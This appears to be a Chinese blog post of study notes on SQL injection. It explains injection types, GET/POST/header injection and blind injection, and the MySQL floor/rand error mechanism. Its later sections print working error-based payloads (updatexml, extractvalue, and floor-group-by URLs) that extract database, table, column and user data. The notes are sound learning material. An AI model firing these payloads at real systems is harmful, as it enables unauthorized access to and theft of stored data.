整理一些关于SQL注入记录

本文详细解释了SQL注入的概念、常见类型、注入流程,展示了如何利用各种SQL语句和注入方式攻击,以及防范措施,包括Header头注入和报错注入的原理。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

什么是SQL注入?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

常用SQL语句:

    show databases;

    选中某个数据库

    use 数据库名字 test

    查询当前数据库所有的表

    show tables;

    查询t1表所有数据

    查询关键 select 

    * 所有

    from  表名

    select * from t1;

    条件查询 id=2

    where 条件  编程 if(条件 true){执行}

    select * from t1 where id=2;

    查询id=2   pass =111

    union 合并查询 

    2个特性:

    前面查询的语句 和 后面的查询语句 结果互不干扰!

    前面的查询语句的字段数量 和 后面的查询语句字段数量  要一致

    * == 3

    select id from t1 where id=-1 union select * from t1 where pass =111;

    order by 排序

    order by 字段名字  id  也可以 跟上数字 1 2 3 4 .。。。。。

    猜解表的列数 知道表有几列 。

注入流程:

1、判断注入点

2、猜解列数 order by

3、判断回显点

4、信息收集

5、使用对应SQL语句执行注入查询

SQL注入类型:

(1)数字型注入点

许多网页链接有类似的结构 http://xxx.com/users.php?id=1基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1

(2)字符型注入点

网页链接有类似的结构 http://xxx.com/users.php?name=admin这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。

(3)搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

注入方式:

GET方式注入

get注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入

POST方式注入

post提交方式主要适用于表单的提交,用于登录框的注入

方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示

Request方式注入

概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:$REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了$POST(获取POST传参)$GET(获取GET传参)$COOKIE(获取COOKIE传参)$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

HTTP头注入

什么是Header头?

通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。 这两种类型的消息有一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。 HTTP的头域包括通用头,请求头,响应头和实体头四个部分

什么是Header头部注入?

header注入,该注入是指利用后端验证客户端信息(比如常用的cookie验证)或者通过header中获取客户端的一些信息(比如User-Agent用户代理等其他header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有经过相对应的信息处理所以构成了sql注入。

SQL注入-报错注入

盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注。我们可以知道盲注分为以下三类:

1.基于布尔的SQL盲注 - 逻辑判断

regexp like ascii left ord mid

2.基于时间的SQL盲注 - 延时判断

if sleep

3.基于报错的SQL盲注 - 报错回显(强制性报错 )

函数解析:

updatexml():从目标XML中更改包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_string(Xpath格式字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml(XML_document,XPath_String,new_value);

'or updatexml(1,concat(0x7e,database()),0)or'

extractvalue():从目标XML中返回包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_String (Xpath格式字符串)

extractvalue(XML_document,XPath_String)

' or extractvalue(1,concat(0x7e,database())) or'

' union slect 1,extractvalue(1,concat(0x7e,(select version())))%23

函数应用:

floor()向下取整 floor(10.5) = 10rand()随机数 0 ~ 1之间count(*)函数返回表的记录数。concat函数:将多个字符串连接成一个字符串group_by 根据by对数据按照哪个字段、进行分组,或者是哪几个字段进行分组(去重)。会建立一张临时表注意:多个字段分组要使用某个列的聚合函数 cout sum等

pikachu insert

username=x' or (select 1 from (select count(*),concat((select))

SQL注入-floor报错

floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concant()中的SQL语句或者函数被执行,所以改语句报错而且被抛出的主键是SQL语句或数执行后的结果。

爆出当前数据库
​
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
​
爆出所有的数据库 通过limit来控制
​
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
​
爆出表名
​
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
​
爆出字段
​
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
​
爆出数据
​
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

报错需要满足的条件:

  • floor()报错注入在MySQL版本8.0 已失效,经过测试7.3.4nts也已失效(据说的 本人没有实践过)

  • 注入语句中查询用到的表内数据必须>=3条

  • 需要用到的count(*)、floor()或者ceil()、rand()、group by

函数详解

RAND() RAND(N) 
返回一个随机浮点值 v ,范围在 0 到1 之间 (即, 其范围为 0 ≤ v ≤ 1.0)。若已指定一个整数参数 N ,则它被用作种子值,用来产生重复序列。
​
rand()       随机数函数
 
floor()         向下取整函数
 
count()        计数函数
 
group by     分组方法

count和group by结合使用

mysql> select * from user;
+----+--------+--------+
| Id | uname  | pwd    |
+----+--------+--------+
|  1 | admin  | 123456 |
|  2 | admin1 | 123457 |
|  3 | admin2 | 123458 |
|  4 | admin3 | 12321  |
|  5 | admin  | 12345  |
+----+--------+--------+
5 rows in set (0.00 sec)
​
mysql> select count(*) from user group by uname;
+----------+
| count(*) |
+----------+
|        2 |
|        1 |
|        1 |
|        1 |
+----------+
4 rows in set (0.00 sec)

mysql遇到该语句时会建立一个虚拟表(实际上就是会建立虚拟表),那整个工作流程就会如下图所示:

先建立虚拟表,key是主键,不可重复

依次对分组字段数据到key中查询,如果key中没有相同数据,就进行添加,cout为1

如果在key中查询遇到相同的数据,则不会进行数据的插入,会对count加1操作!

group by floor(rand(0)*2)报错原理

实际上是因为floor(rand(0)*2)计算是有固定规律的 效果如下是 0110110011 ......的顺序  记住这个顺序对理解比较重要

其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次。

那这个“被计算多次”到底是什么意思?就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。

我们来看下floor(rand(0)2)报错的过程就知道了,从上面可以看到在一次多记录的查询过程中floor(rand(0)2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的。

具体看看select count() from student group by floor(rand(0)2);的查询过程

构造报错语句

?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值